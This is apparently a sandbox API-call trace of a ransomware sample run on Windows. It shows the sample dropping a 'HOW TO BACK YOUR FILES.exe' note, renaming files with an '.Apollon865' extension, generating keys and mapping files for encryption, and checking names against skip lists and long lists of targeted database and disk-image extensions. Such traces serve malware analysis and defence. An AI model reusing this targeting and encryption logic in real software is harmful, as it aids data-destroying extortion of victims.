	[0056.894] lstrlenW (lpString="JISX0213.txt") returned 12
	[0056.894] lstrlenW (lpString="Apollon865") returned 10
	[0056.894] lstrcmpiW (lpString1="SX0213.txt", lpString2="Apollon865") returned 1
	[0056.894] lstrcpyW (in: lpString1=0x2d3e5fa, lpString2="symbol.txt" | out: lpString1="symbol.txt") returned="symbol.txt"
	[0056.894] lstrlenW (lpString="symbol.txt") returned 10
	[0056.894] lstrlenW (lpString="Apollon865") returned 10
	[0056.894] lstrcpyW (in: lpString1=0x2d3e5fa, lpString2="zdingbat.txt" | out: lpString1="zdingbat.txt") returned="zdingbat.txt"
	[0056.894] lstrlenW (lpString="zdingbat.txt") returned 12
	[0056.894] lstrlenW (lpString="Apollon865") returned 10
	[0056.894] lstrcmpiW (lpString1="ingbat.txt", lpString2="Apollon865") returned 1
	[0056.895] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\ICU", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\ICU") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\ICU"
	[0056.895] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c8f30 | out: hHeap=0x580000) returned 1
	[0056.895] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b79a8 | out: hHeap=0x580000) returned 1
	[0056.895] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\ICU") returned 73
	[0056.895] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\ICU" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\ICU") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\ICU"
	[0056.895] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0056.895] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\ICU\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\typesupport\\unicode\\icu\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0056.903] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0056.903] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\ICU\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x834dd660, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x39fd2a90, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x39fd2a90, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca2d0
	[0056.903] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0056.903] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0056.903] lstrcpyW (in: lpString1=0x2d3e5e4, lpString2="ctl_gb18030.cnv" | out: lpString1="ctl_gb18030.cnv") returned="ctl_gb18030.cnv"
	[0056.903] lstrlenW (lpString="ctl_gb18030.cnv") returned 15
	[0056.903] lstrlenW (lpString="Apollon865") returned 10
	[0056.903] lstrcmpiW (lpString1="b18030.cnv", lpString2="Apollon865") returned 1
	[0056.903] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\ICU\\ctl_gb18030.cnv.Apollon865") returned 100
	[0056.903] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\ICU\\ctl_gb18030.cnv" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\typesupport\\unicode\\icu\\ctl_gb18030.cnv"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\ICU\\ctl_gb18030.cnv.Apollon865" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\typesupport\\unicode\\icu\\ctl_gb18030.cnv.apollon865"), dwFlags=0x1) returned 1
	[0056.905] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\ICU\\ctl_gb18030.cnv.Apollon865" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\typesupport\\unicode\\icu\\ctl_gb18030.cnv.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x154
	[0056.906] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=228416) returned 1
	[0056.906] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3470020
	[0056.906] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab78
	[0056.906] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf788
	[0056.906] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf700) returned 1
	[0056.908] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0056.908] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0056.908] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x37f40, lpName=0x0) returned 0x15c
	[0056.912] MapViewOfFile (hFileMappingObject=0x15c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x37f40) returned 0x120000
	[0056.934] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf700) returned 1
	[0056.935] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0056.935] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0056.935] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59abf0
	[0056.935] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59abf0 | out: hHeap=0x580000) returned 1
	[0056.935] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6560
	[0056.935] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0056.935] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6560 | out: hHeap=0x580000) returned 1
	[0056.935] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0056.935] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2d38
	[0056.935] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0056.935] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2d38 | out: hHeap=0x580000) returned 1
	[0056.935] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0056.935] UnmapViewOfFile (lpBaseAddress=0x120000) returned 1
	[0056.938] CloseHandle (hObject=0x15c) returned 1
	[0056.938] CloseHandle (hObject=0x154) returned 1
	[0056.938] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ab78 | out: hHeap=0x580000) returned 1
	[0056.938] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf788 | out: hHeap=0x580000) returned 1
	[0056.938] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3470020 | out: hHeap=0x580000) returned 1
	[0056.939] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x39fd2a90, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x39fd2a90, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0056.939] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0056.939] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x834dd660, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x345f0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="icudt26l.dat", cAlternateFileName="")) returned 1
	[0056.939] lstrcmpiW (lpString1="icudt26l.dat", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0056.939] lstrcmpiW (lpString1="icudt26l.dat", lpString2="Apollon865.txt.exe") returned 1
	[0056.939] lstrcmpiW (lpString1="icudt26l.dat", lpString2=".") returned 1
	[0056.939] lstrcmpiW (lpString1="icudt26l.dat", lpString2="..") returned 1
	[0056.939] lstrcmpiW (lpString1="icudt26l.dat", lpString2="windows") returned -1
	[0056.939] lstrcmpiW (lpString1="icudt26l.dat", lpString2="bootmgr") returned 1
	[0056.939] lstrcmpiW (lpString1="icudt26l.dat", lpString2="temp") returned -1
	[0056.939] lstrcmpiW (lpString1="icudt26l.dat", lpString2="pagefile.sys") returned -1
	[0056.939] lstrcmpiW (lpString1="icudt26l.dat", lpString2="boot") returned 1
	[0056.940] lstrcmpiW (lpString1="icudt26l.dat", lpString2="ids.txt") returned -1
	[0056.940] lstrcmpiW (lpString1="icudt26l.dat", lpString2="ntuser.dat") returned -1
	[0056.940] lstrcmpiW (lpString1="icudt26l.dat", lpString2="perflogs") returned -1
	[0056.940] lstrcmpiW (lpString1="icudt26l.dat", lpString2="MSBuild") returned -1
	[0056.940] lstrlenW (lpString="icudt26l.dat") returned 12
	[0056.940] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\ICU\\ctl_gb18030.cnv") returned 89
	[0056.940] lstrcpyW (in: lpString1=0x2d3e5e4, lpString2="icudt26l.dat" | out: lpString1="icudt26l.dat") returned="icudt26l.dat"
	[0056.940] lstrlenW (lpString="icudt26l.dat") returned 12
	[0056.940] lstrlenW (lpString="Apollon865") returned 10
	[0056.940] lstrcmpiW (lpString1="udt26l.dat", lpString2="Apollon865") returned 1
	[0056.940] lstrlenW (lpString=".dll") returned 4
	[0056.940] lstrcmpiW (lpString1="icudt26l.dat", lpString2=".dll") returned 1
	[0056.940] lstrlenW (lpString=".lnk") returned 4
	[0056.940] lstrcmpiW (lpString1="icudt26l.dat", lpString2=".lnk") returned 1
	[0056.940] lstrlenW (lpString=".ini") returned 4
	[0056.940] lstrcmpiW (lpString1="icudt26l.dat", lpString2=".ini") returned 1
	[0056.940] lstrlenW (lpString=".sys") returned 4
	[0056.940] lstrcmpiW (lpString1="icudt26l.dat", lpString2=".sys") returned 1
	[0056.940] lstrlenW (lpString="icudt26l.dat") returned 12
	[0056.940] lstrlenW (lpString="bak") returned 3
	[0056.940] lstrcmpiW (lpString1="dat", lpString2="bak") returned 1
	[0056.940] lstrlenW (lpString="ba_") returned 3
	[0056.940] lstrcmpiW (lpString1="dat", lpString2="ba_") returned 1
	[0056.940] lstrlenW (lpString="dbb") returned 3
	[0056.940] lstrcmpiW (lpString1="dat", lpString2="dbb") returned -1
	[0056.940] lstrlenW (lpString="vmdk") returned 4
	[0056.940] lstrcmpiW (lpString1=".dat", lpString2="vmdk") returned -1
	[0056.940] lstrlenW (lpString="rar") returned 3
	[0056.940] lstrcmpiW (lpString1="dat", lpString2="rar") returned -1
	[0056.940] lstrlenW (lpString="zip") returned 3
	[0056.940] lstrcmpiW (lpString1="dat", lpString2="zip") returned -1
	[0056.941] lstrlenW (lpString="tgz") returned 3
	[0056.941] lstrcmpiW (lpString1="dat", lpString2="tgz") returned -1
	[0056.941] lstrlenW (lpString="vbox") returned 4
	[0056.941] lstrcmpiW (lpString1=".dat", lpString2="vbox") returned -1
	[0056.941] lstrlenW (lpString="vdi") returned 3
	[0056.941] lstrcmpiW (lpString1="dat", lpString2="vdi") returned -1
	[0056.941] lstrlenW (lpString="vhd") returned 3
	[0056.941] lstrcmpiW (lpString1="dat", lpString2="vhd") returned -1
	[0056.941] lstrlenW (lpString="vhdx") returned 4
	[0056.941] lstrcmpiW (lpString1=".dat", lpString2="vhdx") returned -1
	[0056.941] lstrlenW (lpString="avhd") returned 4
	[0056.941] lstrcmpiW (lpString1=".dat", lpString2="avhd") returned -1
	[0056.941] lstrlenW (lpString="db") returned 2
	[0056.941] lstrcmpiW (lpString1="at", lpString2="db") returned -1
	[0056.941] lstrlenW (lpString="db2") returned 3
	[0056.941] lstrcmpiW (lpString1="dat", lpString2="db2") returned -1
	[0056.941] lstrlenW (lpString="db3") returned 3
	[0056.941] lstrcmpiW (lpString1="dat", lpString2="db3") returned -1
	[0056.941] lstrlenW (lpString="dbf") returned 3
	[0056.941] lstrcmpiW (lpString1="dat", lpString2="dbf") returned -1
	[0056.941] lstrlenW (lpString="mdf") returned 3
	[0056.941] lstrcmpiW (lpString1="dat", lpString2="mdf") returned -1
	[0056.941] lstrlenW (lpString="mdb") returned 3
	[0056.941] lstrcmpiW (lpString1="dat", lpString2="mdb") returned -1
	[0056.941] lstrlenW (lpString="sql") returned 3
	[0056.941] lstrcmpiW (lpString1="dat", lpString2="sql") returned -1
	[0056.941] lstrlenW (lpString="sqlite") returned 6
	[0056.941] lstrcmpiW (lpString1="6l.dat", lpString2="sqlite") returned -1
	[0056.941] lstrlenW (lpString="sqlite3") returned 7
	[0056.941] lstrcmpiW (lpString1="26l.dat", lpString2="sqlite3") returned -1
	[0056.941] lstrlenW (lpString="sqlitedb") returned 8
	[0056.941] lstrcmpiW (lpString1="t26l.dat", lpString2="sqlitedb") returned 1
	[0056.942] lstrlenW (lpString="xml") returned 3
	[0056.942] lstrcmpiW (lpString1="dat", lpString2="xml") returned -1
	[0056.942] lstrlenW (lpString="$er") returned 3
	[0056.942] lstrcmpiW (lpString1="dat", lpString2="$er") returned 1
	[0056.942] lstrlenW (lpString="4dd") returned 3
	[0056.942] lstrcmpiW (lpString1="dat", lpString2="4dd") returned 1
	[0056.942] lstrlenW (lpString="4dl") returned 3
	[0056.942] lstrcmpiW (lpString1="dat", lpString2="4dl") returned 1
	[0056.942] lstrlenW (lpString="^^^") returned 3
	[0056.942] lstrcmpiW (lpString1="dat", lpString2="^^^") returned 1
	[0056.942] lstrlenW (lpString="abs") returned 3
	[0056.942] lstrcmpiW (lpString1="dat", lpString2="abs") returned 1
	[0056.942] lstrlenW (lpString="abx") returned 3
	[0056.942] lstrcmpiW (lpString1="dat", lpString2="abx") returned 1
	[0056.942] lstrlenW (lpString="accdb") returned 5
	[0056.942] lstrcmpiW (lpString1="l.dat", lpString2="accdb") returned 1
	[0056.942] lstrlenW (lpString="accdc") returned 5
	[0056.942] lstrcmpiW (lpString1="l.dat", lpString2="accdc") returned 1
	[0056.942] lstrlenW (lpString="accde") returned 5
	[0056.942] lstrcmpiW (lpString1="l.dat", lpString2="accde") returned 1
	[0056.942] lstrlenW (lpString="accdr") returned 5
	[0056.942] lstrcmpiW (lpString1="l.dat", lpString2="accdr") returned 1
	[0056.942] lstrlenW (lpString="accdt") returned 5
	[0056.942] lstrcmpiW (lpString1="l.dat", lpString2="accdt") returned 1
	[0056.942] lstrlenW (lpString="accdw") returned 5
	[0056.942] lstrcmpiW (lpString1="l.dat", lpString2="accdw") returned 1
	[0056.942] lstrlenW (lpString="accft") returned 5
	[0056.942] lstrcmpiW (lpString1="l.dat", lpString2="accft") returned 1
	[0056.942] lstrlenW (lpString="adb") returned 3
	[0056.942] lstrcmpiW (lpString1="dat", lpString2="adb") returned 1
	[0056.942] lstrlenW (lpString="adb") returned 3
	[0056.942] lstrcmpiW (lpString1="dat", lpString2="adb") returned 1
	[0056.942] lstrlenW (lpString="ade") returned 3
	[0056.943] lstrcmpiW (lpString1="dat", lpString2="ade") returned 1
	[0056.943] lstrlenW (lpString="adf") returned 3
	[0056.943] lstrcmpiW (lpString1="dat", lpString2="adf") returned 1
	[0056.943] lstrlenW (lpString="adn") returned 3
	[0056.943] lstrcmpiW (lpString1="dat", lpString2="adn") returned 1
	[0056.943] lstrlenW (lpString="adp") returned 3
	[0056.943] lstrcmpiW (lpString1="dat", lpString2="adp") returned 1
	[0056.943] lstrlenW (lpString="alf") returned 3
	[0056.943] lstrcmpiW (lpString1="dat", lpString2="alf") returned 1
	[0056.943] lstrlenW (lpString="ask") returned 3
	[0056.943] lstrcmpiW (lpString1="dat", lpString2="ask") returned 1
	[0056.943] lstrlenW (lpString="btr") returned 3
	[0056.943] lstrcmpiW (lpString1="dat", lpString2="btr") returned 1
	[0056.943] lstrlenW (lpString="cat") returned 3
	[0056.943] lstrcmpiW (lpString1="dat", lpString2="cat") returned 1
	[0056.943] lstrlenW (lpString="cdb") returned 3
	[0056.943] lstrcmpiW (lpString1="dat", lpString2="cdb") returned 1
	[0056.943] lstrlenW (lpString="ckp") returned 3
	[0056.943] lstrcmpiW (lpString1="dat", lpString2="ckp") returned 1
	[0056.943] lstrlenW (lpString="cma") returned 3
	[0056.943] lstrcmpiW (lpString1="dat", lpString2="cma") returned 1
	[0056.943] lstrlenW (lpString="cpd") returned 3
	[0056.943] lstrcmpiW (lpString1="dat", lpString2="cpd") returned 1
	[0056.943] lstrlenW (lpString="dacpac") returned 6
	[0056.943] lstrcmpiW (lpString1="6l.dat", lpString2="dacpac") returned -1
	[0056.943] lstrlenW (lpString="dad") returned 3
	[0056.943] lstrcmpiW (lpString1="dat", lpString2="dad") returned 1
	[0056.943] lstrlenW (lpString="dadiagrams") returned 10
	[0056.943] lstrcmpiW (lpString1="udt26l.dat", lpString2="dadiagrams") returned 1
	[0056.943] lstrlenW (lpString="daschema") returned 8
	[0056.943] lstrcmpiW (lpString1="t26l.dat", lpString2="daschema") returned 1
	[0056.943] lstrlenW (lpString="db-journal") returned 10
	[0056.943] lstrcmpiW (lpString1="udt26l.dat", lpString2="db-journal") returned 1
	[0056.944] lstrlenW (lpString="db-shm") returned 6
	[0056.944] lstrcmpiW (lpString1="6l.dat", lpString2="db-shm") returned -1
	[0056.944] lstrlenW (lpString="db-wal") returned 6
	[0056.944] lstrcmpiW (lpString1="6l.dat", lpString2="db-wal") returned -1
	[0056.944] lstrlenW (lpString="dbc") returned 3
	[0056.944] lstrcmpiW (lpString1="dat", lpString2="dbc") returned -1
	[0056.944] lstrlenW (lpString="dbs") returned 3
	[0056.944] lstrcmpiW (lpString1="dat", lpString2="dbs") returned -1
	[0056.944] lstrlenW (lpString="dbt") returned 3
	[0056.944] lstrcmpiW (lpString1="dat", lpString2="dbt") returned -1
	[0056.944] lstrlenW (lpString="dbv") returned 3
	[0056.944] lstrcmpiW (lpString1="dat", lpString2="dbv") returned -1
	[0056.944] lstrlenW (lpString="dbx") returned 3
	[0056.944] lstrcmpiW (lpString1="dat", lpString2="dbx") returned -1
	[0056.944] lstrlenW (lpString="dcb") returned 3
	[0056.944] lstrcmpiW (lpString1="dat", lpString2="dcb") returned -1
	[0056.944] lstrlenW (lpString="dct") returned 3
	[0056.944] lstrcmpiW (lpString1="dat", lpString2="dct") returned -1
	[0056.944] lstrlenW (lpString="dcx") returned 3
	[0056.944] lstrcmpiW (lpString1="dat", lpString2="dcx") returned -1
	[0056.944] lstrlenW (lpString="ddl") returned 3
	[0056.944] lstrcmpiW (lpString1="dat", lpString2="ddl") returned -1
	[0056.944] lstrlenW (lpString="dlis") returned 4
	[0056.944] lstrcmpiW (lpString1=".dat", lpString2="dlis") returned -1
	[0056.944] lstrlenW (lpString="dp1") returned 3
	[0056.944] lstrcmpiW (lpString1="dat", lpString2="dp1") returned -1
	[0056.944] lstrlenW (lpString="dqy") returned 3
	[0056.944] lstrcmpiW (lpString1="dat", lpString2="dqy") returned -1
	[0056.944] lstrlenW (lpString="dsk") returned 3
	[0056.944] lstrcmpiW (lpString1="dat", lpString2="dsk") returned -1
	[0056.944] lstrlenW (lpString="dsn") returned 3
	[0056.944] lstrcmpiW (lpString1="dat", lpString2="dsn") returned -1
	[0056.945] lstrlenW (lpString="dtsx") returned 4
	[0056.945] lstrcmpiW (lpString1=".dat", lpString2="dtsx") returned -1
	[0056.945] lstrlenW (lpString="dxl") returned 3
	[0056.945] lstrcmpiW (lpString1="dat", lpString2="dxl") returned -1
	[0056.945] lstrlenW (lpString="eco") returned 3
	[0056.945] lstrcmpiW (lpString1="dat", lpString2="eco") returned -1
	[0056.945] lstrlenW (lpString="ecx") returned 3
	[0056.945] lstrcmpiW (lpString1="dat", lpString2="ecx") returned -1
	[0056.945] lstrlenW (lpString="edb") returned 3
	[0056.945] lstrcmpiW (lpString1="dat", lpString2="edb") returned -1
	[0056.945] lstrlenW (lpString="epim") returned 4
	[0056.945] lstrcmpiW (lpString1=".dat", lpString2="epim") returned -1
	[0056.945] lstrlenW (lpString="fcd") returned 3
	[0056.945] lstrcmpiW (lpString1="dat", lpString2="fcd") returned -1
	[0056.945] lstrlenW (lpString="fdb") returned 3
	[0056.945] lstrcmpiW (lpString1="dat", lpString2="fdb") returned -1
	[0056.945] lstrlenW (lpString="fic") returned 3
	[0056.945] lstrcmpiW (lpString1="dat", lpString2="fic") returned -1
	[0056.945] lstrlenW (lpString="flexolibrary") returned 12
	[0056.945] lstrlenW (lpString="fm5") returned 3
	[0056.945] lstrcmpiW (lpString1="dat", lpString2="fm5") returned -1
	[0056.945] lstrlenW (lpString="fmp") returned 3
	[0056.945] lstrcmpiW (lpString1="dat", lpString2="fmp") returned -1
	[0056.945] lstrlenW (lpString="fmp12") returned 5
	[0056.945] lstrcmpiW (lpString1="l.dat", lpString2="fmp12") returned 1
	[0056.945] lstrlenW (lpString="fmpsl") returned 5
	[0056.945] lstrcmpiW (lpString1="l.dat", lpString2="fmpsl") returned 1
	[0056.945] lstrlenW (lpString="fol") returned 3
	[0056.945] lstrcmpiW (lpString1="dat", lpString2="fol") returned -1
	[0056.945] lstrlenW (lpString="fp3") returned 3
	[0056.945] lstrcmpiW (lpString1="dat", lpString2="fp3") returned -1
	[0056.945] lstrlenW (lpString="fp4") returned 3
	[0056.946] lstrcmpiW (lpString1="dat", lpString2="fp4") returned -1
	[0056.946] lstrlenW (lpString="fp5") returned 3
	[0056.946] lstrcmpiW (lpString1="dat", lpString2="fp5") returned -1
	[0056.946] lstrlenW (lpString="fp7") returned 3
	[0056.946] lstrcmpiW (lpString1="dat", lpString2="fp7") returned -1
	[0056.946] lstrlenW (lpString="fpt") returned 3
	[0056.946] lstrcmpiW (lpString1="dat", lpString2="fpt") returned -1
	[0056.946] lstrlenW (lpString="frm") returned 3
	[0056.946] lstrcmpiW (lpString1="dat", lpString2="frm") returned -1
	[0056.946] lstrlenW (lpString="gdb") returned 3
	[0056.946] lstrcmpiW (lpString1="dat", lpString2="gdb") returned -1
	[0056.946] lstrlenW (lpString="gdb") returned 3
	[0056.946] lstrcmpiW (lpString1="dat", lpString2="gdb") returned -1
	[0056.946] lstrlenW (lpString="grdb") returned 4
	[0056.946] lstrcmpiW (lpString1=".dat", lpString2="grdb") returned -1
	[0056.946] lstrlenW (lpString="gwi") returned 3
	[0056.946] lstrcmpiW (lpString1="dat", lpString2="gwi") returned -1
	[0056.946] lstrlenW (lpString="hdb") returned 3
	[0056.946] lstrcmpiW (lpString1="dat", lpString2="hdb") returned -1
	[0056.946] lstrlenW (lpString="his") returned 3
	[0056.946] lstrcmpiW (lpString1="dat", lpString2="his") returned -1
	[0056.946] lstrlenW (lpString="ib") returned 2
	[0056.946] lstrcmpiW (lpString1="at", lpString2="ib") returned -1
	[0056.946] lstrlenW (lpString="idb") returned 3
	[0056.946] lstrcmpiW (lpString1="dat", lpString2="idb") returned -1
	[0056.946] lstrlenW (lpString="ihx") returned 3
	[0056.946] lstrcmpiW (lpString1="dat", lpString2="ihx") returned -1
	[0056.946] lstrlenW (lpString="itdb") returned 4
	[0056.946] lstrcmpiW (lpString1=".dat", lpString2="itdb") returned -1
	[0056.946] lstrlenW (lpString="itw") returned 3
	[0056.946] lstrcmpiW (lpString1="dat", lpString2="itw") returned -1
	[0056.946] lstrlenW (lpString="jet") returned 3
	[0056.946] lstrcmpiW (lpString1="dat", lpString2="jet") returned -1
	[0056.947] lstrlenW (lpString="jtx") returned 3
	[0056.947] lstrcmpiW (lpString1="dat", lpString2="jtx") returned -1
	[0056.947] lstrlenW (lpString="kdb") returned 3
	[0056.947] lstrcmpiW (lpString1="dat", lpString2="kdb") returned -1
	[0056.947] lstrlenW (lpString="kexi") returned 4
	[0056.947] lstrcmpiW (lpString1=".dat", lpString2="kexi") returned -1
	[0056.947] lstrlenW (lpString="kexic") returned 5
	[0056.947] lstrcmpiW (lpString1="l.dat", lpString2="kexic") returned 1
	[0056.947] lstrlenW (lpString="kexis") returned 5
	[0056.947] lstrcmpiW (lpString1="l.dat", lpString2="kexis") returned 1
	[0056.947] lstrlenW (lpString="lgc") returned 3
	[0056.947] lstrcmpiW (lpString1="dat", lpString2="lgc") returned -1
	[0056.947] lstrlenW (lpString="lwx") returned 3
	[0056.947] lstrcmpiW (lpString1="dat", lpString2="lwx") returned -1
	[0056.947] lstrlenW (lpString="maf") returned 3
	[0056.947] lstrcmpiW (lpString1="dat", lpString2="maf") returned -1
	[0056.947] lstrlenW (lpString="maq") returned 3
	[0056.947] lstrcmpiW (lpString1="dat", lpString2="maq") returned -1
	[0056.947] lstrlenW (lpString="mar") returned 3
	[0056.947] lstrcmpiW (lpString1="dat", lpString2="mar") returned -1
	[0056.947] lstrlenW (lpString="marshal") returned 7
	[0056.947] lstrcmpiW (lpString1="26l.dat", lpString2="marshal") returned -1
	[0056.947] lstrlenW (lpString="mas") returned 3
	[0056.947] lstrcmpiW (lpString1="dat", lpString2="mas") returned -1
	[0056.947] lstrlenW (lpString="mav") returned 3
	[0056.947] lstrcmpiW (lpString1="dat", lpString2="mav") returned -1
	[0056.947] lstrlenW (lpString="maw") returned 3
	[0056.947] lstrcmpiW (lpString1="dat", lpString2="maw") returned -1
	[0056.947] lstrlenW (lpString="mdbhtml") returned 7
	[0056.947] lstrcmpiW (lpString1="26l.dat", lpString2="mdbhtml") returned -1
	[0056.947] lstrlenW (lpString="mdn") returned 3
	[0056.947] lstrcmpiW (lpString1="dat", lpString2="mdn") returned -1
	[0056.947] lstrlenW (lpString="mdt") returned 3
	[0056.948] lstrcmpiW (lpString1="dat", lpString2="mdt") returned -1
	[0056.948] lstrlenW (lpString="mfd") returned 3
	[0056.948] lstrcmpiW (lpString1="dat", lpString2="mfd") returned -1
	[0056.948] lstrlenW (lpString="mpd") returned 3
	[0056.948] lstrcmpiW (lpString1="dat", lpString2="mpd") returned -1
	[0056.948] lstrlenW (lpString="mrg") returned 3
	[0056.948] lstrcmpiW (lpString1="dat", lpString2="mrg") returned -1
	[0056.948] lstrlenW (lpString="mud") returned 3
	[0056.948] lstrcmpiW (lpString1="dat", lpString2="mud") returned -1
	[0056.948] lstrlenW (lpString="mwb") returned 3
	[0056.948] lstrcmpiW (lpString1="dat", lpString2="mwb") returned -1
	[0056.948] lstrlenW (lpString="myd") returned 3
	[0056.948] lstrcmpiW (lpString1="dat", lpString2="myd") returned -1
	[0056.948] lstrlenW (lpString="ndf") returned 3
	[0056.948] lstrcmpiW (lpString1="dat", lpString2="ndf") returned -1
	[0056.948] lstrlenW (lpString="nnt") returned 3
	[0056.948] lstrcmpiW (lpString1="dat", lpString2="nnt") returned -1
	[0056.948] lstrlenW (lpString="nrmlib") returned 6
	[0056.948] lstrcmpiW (lpString1="6l.dat", lpString2="nrmlib") returned -1
	[0056.948] lstrlenW (lpString="ns2") returned 3
